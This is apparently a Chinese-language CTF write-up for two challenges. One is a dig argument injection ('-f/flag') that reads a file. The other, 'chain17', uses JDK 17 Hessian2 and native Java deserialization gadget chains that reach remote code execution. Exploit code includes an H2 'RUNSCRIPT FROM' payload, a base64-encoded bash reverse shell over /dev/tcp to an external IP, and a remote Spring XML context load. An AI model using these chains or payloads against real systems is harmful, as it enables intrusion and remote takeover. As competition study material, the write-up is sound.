web 签到

开局 5 分钟就秒了

dig 命令读文件

https://gtfobins.github.io/gtfobins/dig/

1
{"domain":"l1nyz-tel.cc","type":"-f/flag"}

chain17

从百草园打到三味书屋,再打到姥姥家

做了我好久,好累

  • 开放端口出来的是 agent
  • 内部才可以访问的是 server
  • Agent 打的是 hessian 反序列化,有黑名单过滤
  • Server 打的是原生反序列化,没有黑名单
  • 两部分都是 jdk17,需要自己挖掘依赖,不是单纯地接链子

Agent

Hessian2 反序列化

Jdk 17 原生反序列化不需要考虑 Module,但是 Hessian2 反序列化需要考虑

Agent 的 docker 启动的命令也算是给出了一个小提示吧

1
["--add-opens", "java.base/java.util.concurrent.atomic=ALL-UNNAMED"]

Hint: JSONObject -> AtomicReference

codeql 在这里不太好搜,因为 JSONObject 在 Spring 包里,而 AtomicReference 在 jdk 包里

而我没法搞一个既有 spring 又有 jdk 源码的 codeql 数据库

就一直搜不到

反序列化时 JSONObject 会调用 put 加入数据,之后一直调用到下图地方

Jdk 内置类会被调 toString

AtomicReference 的 toString 可以进而触发 POJONode toString

之后打 PooledDSFactory getter 可以触发 h2 sql 执行

调用 createDataSource 之后再执行到 DriverManager.getConnection 重新建立一个 jdbc 连接

所以找 getter 的时候主要还是得看能重新建立 jdbc 连接的地方

PooledDSFactory 在 hessian2 反序列化的时候调用的是无参构造函数,会因为 Setting 为 null 而报错

需要结合 Bean#getBean 的原生反序列化来还原出来 PooledDSFactory

AtomicReference#toString->POJONode#toString->Bean#getObject->PooledDSFactory h2 rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static void main(String[] args) throws Exception {
String JDBC_URL = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:1235/1.sql';";
// String JDBC_URL = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://host.docker.internal:1235/1.sql'";

Setting setting = new Setting();
HashMap map = new HashMap();
map.put("url",JDBC_URL);
setting.putAll("",map);
setFiledValue(setting,"charset",null);
PooledDSFactory pooledDataSource = new PooledDSFactory(setting);

Bean bean = new Bean();
bean.setData(Serializer.serialize(pooledDataSource));
POJONode pojoNode = new POJONode(bean);

AtomicReference atomicReference = new AtomicReference(pojoNode);

JSONObject jsonObject = new JSONObject();
HashMap hashMap = new HashMap();
hashMap.put("1",atomicReference);
jsonObject.put("1","teltelteltel");
setFiledValue(jsonObject,"raw",hashMap);
serialize(jsonObject);
// unserialize("ser.bin");
}

1.sql

1
2
3
4
5
CREATE ALIAS SHELLEXEC AS 'String shellexec(String cmd) throws java.io.IOException {
Runtime.getRuntime().exec(cmd);
return "tel";
}';
CALL SHELLEXEC('bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+Ji9kZXYvdGNwLzguMTI5LjQyLjE0MC8xMjM0IDA+JjEn}|{base64,-d}|{bash,-i}')

rce 上去后没有足够的命令行工具,写个 java 脚本去编译执行请求那个 server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import java.net.HttpURLConnection;
import java.nio.file.Files;
import java.nio.file.Paths;

public class sendPost {
public static void main(String[] args) throws Exception {
String targetURL = "http://server:8080/read";
java.net.URL url = new java.net.URL(targetURL);
java.net.HttpURLConnection connection = (java.net.HttpURLConnection) url.openConnection();

connection.setRequestMethod("GET");
connection.setDoOutput(true);
connection.setRequestProperty("Content-Type", "application/octet-stream");
connection.setRequestProperty("Connection", "close");
connection.setRequestProperty("Accept-Encoding","gzip, deflate");
connection.setRequestProperty("Accept", "*/*");

byte[] data = Files.readAllBytes(Paths.get("1.txt"));

try (java.io.OutputStream os = connection.getOutputStream()) {
os.write(data, 0, data.length);
}

int responseCode = connection.getResponseCode();
System.out.println("POST Response Code :: " + responseCode);

if (responseCode == HttpURLConnection.HTTP_OK) {
System.out.println(connection.getResponseMessage());
System.out.println("POST request successful");
} else {
System.out.println("POST request failed");
}
}
}

Server

CodeQL 搜到的,感觉 Server 比 Agent 容易打

getter -> getConstructors + newInstance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static void main(String[] args) throws Exception {
DataType dataType = new DefaultDataType<org.springframework.context.support.ClassPathXmlApplicationContext >(SQLDialect.DEFAULT, org.springframework.context.support.ClassPathXmlApplicationContext.class, "varchar");
Val val = new Val("http://vps:1234/1.xml",dataType,false);

ConvertedVal convertedVal = new ConvertedVal(val,dataType);

// convertedVal.getValue();

POJONode pojoNode = new POJONode(convertedVal);
// pojoNode.toString();

Class cls = Class.forName("com.sun.org.apache.xpath.internal.objects.XString");
Constructor constructor = cls.getDeclaredConstructor(String.class);
constructor.setAccessible(true);
Object xString = constructor.newInstance("1");

HashMap hashMap = makeMap(xString,pojoNode);
serialize(hashMap);
// unserialize("ser.bin");
}

然后把 base64 放入 1.txt

1
2
javac sendPost.java
java sendPost